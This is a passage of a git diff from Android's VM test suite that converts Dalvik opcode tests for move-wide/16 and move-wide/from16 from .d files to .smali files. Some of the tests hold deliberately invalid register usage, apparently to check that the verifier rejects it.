+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_5.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       move-wide/16 v0, v4999
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_6.d
deleted file mode 100644
index 2cea620..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_16_6.java
-.class public dot.junit.opcodes.move_wide_16.d.T_move_wide_16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-       const v123, 123
-       move-wide/16 v255, v123
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_6.smali
new file mode 100644
index 0000000..f44fa2d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_6.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+       const v123, 123
+       move-wide/16 v255, v123
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_7.d
deleted file mode 100644
index 7826131..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_16_7.java
-.class public dot.junit.opcodes.move_wide_16.d.T_move_wide_16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-
-       const-wide v123, 123
-       move-wide/16 v255, v124
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_7.smali
new file mode 100644
index 0000000..5a94771
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_7.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+
+       const-wide v123, 123
+       move-wide/16 v255, v124
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_8.d
deleted file mode 100644
index c5e006d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_16_8.java
-.class public dot.junit.opcodes.move_wide_16.d.T_move_wide_16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()J
-.limit regs 5000
-
-       const-wide v123, 123
-       const-wide v0, 0
-       move-wide/16 v124, v0
-       return-wide v123
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_8.smali
new file mode 100644
index 0000000..de95e05
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_16_8.java"
+.class  public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 5000
+
+       const-wide v123, 123
+       const-wide v0, 0
+       move-wide/16 v124, v0
+       return-wide v123
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_9.d
deleted file mode 100644
index aa8cdce..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_9.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_16_9.java
-.class public dot.junit.opcodes.move_wide_16.d.T_move_wide_16_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()I
-.limit regs 5000
-       const-wide v1, 1233746384323
-       move-wide/16 v2, v1
-
-       const-wide v10, 1233746384323
-       cmp-long v4, v2, v10
-
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_9.smali
new file mode 100644
index 0000000..6aeecc8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_16/d/T_move_wide_16_9.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_wide_16/d/T_move_wide_16_9;
+.super Ljava/lang/Object;
+.source "T_move_wide_16_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()I
+    .registers 5000
+
+    const-wide v1, 0x11f4103d5c3L
+
+    move-wide/16 v2, v1
+
+    const-wide v10, 0x11f4103d5c3L
+
+    cmp-long v4, v2, v10
+
+    return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_1.d
deleted file mode 100644
index 21aaca8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_1.d
+++ /dev/null
@@ -1,49 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_from16_1.java
-.class public dot.junit.opcodes.move_wide_from16.d.T_move_wide_from16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 5000
-       const-wide v10, 5678233453
-   
-       move-wide/16 v4001, v10
-       
-       move-wide/from16 v255, v4001
-       move-wide/from16 v1, v255
-       
-       const-wide v4, 5678233453
-       
-       cmp-long v0, v1, v4
-       if-nez v0, Label0
-       
-       const v1, 1
-       return v1
-
-Label0:
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_1.smali
new file mode 100644
index 0000000..7918b91
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_1.smali
@@ -0,0 +1,54 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_1;
+.super Ljava/lang/Object;
+.source "T_move_wide_from16_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()Z
+    .registers 5000
+
+    const-wide v10, 0x15272f76dL
+
+    move-wide/16 v4001, v10
+
+    move-wide/from16 v255, v4001
+
+    move-wide/from16 v1, v255
+
+    const-wide v4, 0x15272f76dL
+
+    cmp-long v0, v1, v4
+
+    if-nez v0, :cond_19
+
+    const v1, 0x1
+
+    return v1
+
+    :cond_19
+    const v1, 0x0
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_2.d
deleted file mode 100644
index d2e6700..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_2.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_from16_2.java
-.class public dot.junit.opcodes.move_wide_from16.d.T_move_wide_from16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()I
-.limit regs 5000
-       const-wide v100, 5678233453
-       move-wide/from16 v101, v100
-       
-       const-wide v4, 5678233453
-       
-       cmp-long v0, v101, v4
-
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_2.smali
new file mode 100644
index 0000000..0da3128
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_2.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_2;
+.super Ljava/lang/Object;
+.source "T_move_wide_from16_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()I
+    .registers 5000
+
+    const-wide v100, 0x15272f76dL
+
+    move-wide/from16 v101, v100
+
+    const-wide v4, 0x15272f76dL
+
+    cmp-long v0, v101, v4
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_3.d
deleted file mode 100644
index 8f95101..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_from16_3.java
-.class public dot.junit.opcodes.move_wide_from16.d.T_move_wide_from16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 5000
-       move-wide/from16 v0, v5000
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_3.smali
new file mode 100644
index 0000000..8e5a85e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_from16_3.java"
+.class  public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 5000
+       move-wide/from16 v0, v5000
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_4.d
deleted file mode 100644
index e5f282a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_from16_4.java
-.class public dot.junit.opcodes.move_wide_from16.d.T_move_wide_from16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 5
-       const v1, 0    
-       move-wide/from16 v5, v1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_4.smali
new file mode 100644
index 0000000..cc13647
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_from16_4.java"
+.class  public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 5
+       const v1, 0    
+       move-wide/from16 v5, v1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_5.d
deleted file mode 100644
index 21ec075..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_from16_5.java
-.class public dot.junit.opcodes.move_wide_from16.d.T_move_wide_from16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-       move-wide/from16 v0, v4999
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_5.smali
new file mode 100644
index 0000000..fdf891a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_from16_5.java"
+.class  public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       move-wide/from16 v0, v4999
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_6.d
deleted file mode 100644
index 784e31a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_from16_6.java
-.class public dot.junit.opcodes.move_wide_from16.d.T_move_wide_from16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-       const v4500, 123
-       move-wide/from16 v0, v4500
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_6.smali
new file mode 100644
index 0000000..3553a88
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_6.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_6;
+.super Ljava/lang/Object;
+.source "T_move_wide_from16_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()V
+    .registers 5001
+
+    const v0, 0x7b
+
+    move/16 v4501, v0
+
+    move-wide/from16 v1, v4501
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_7.d
deleted file mode 100644
index 1790fe5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_from16_7.java
-.class public dot.junit.opcodes.move_wide_from16.d.T_move_wide_from16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-
-       const-wide v1234, 123
-       move-wide/from16 v255, v1235
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_7.smali
new file mode 100644
index 0000000..0f5e250
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_7.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_7;
+.super Ljava/lang/Object;
+.source "T_move_wide_from16_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()V
+    .registers 5002
+
+    const-wide v0, 0x7b
+
+    move-wide/16 v1236, v0
+
+    move-wide/16 v257, v1237
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_8.d
deleted file mode 100644
index 80d80e9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide_from16/d/T_move_wide_from16_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
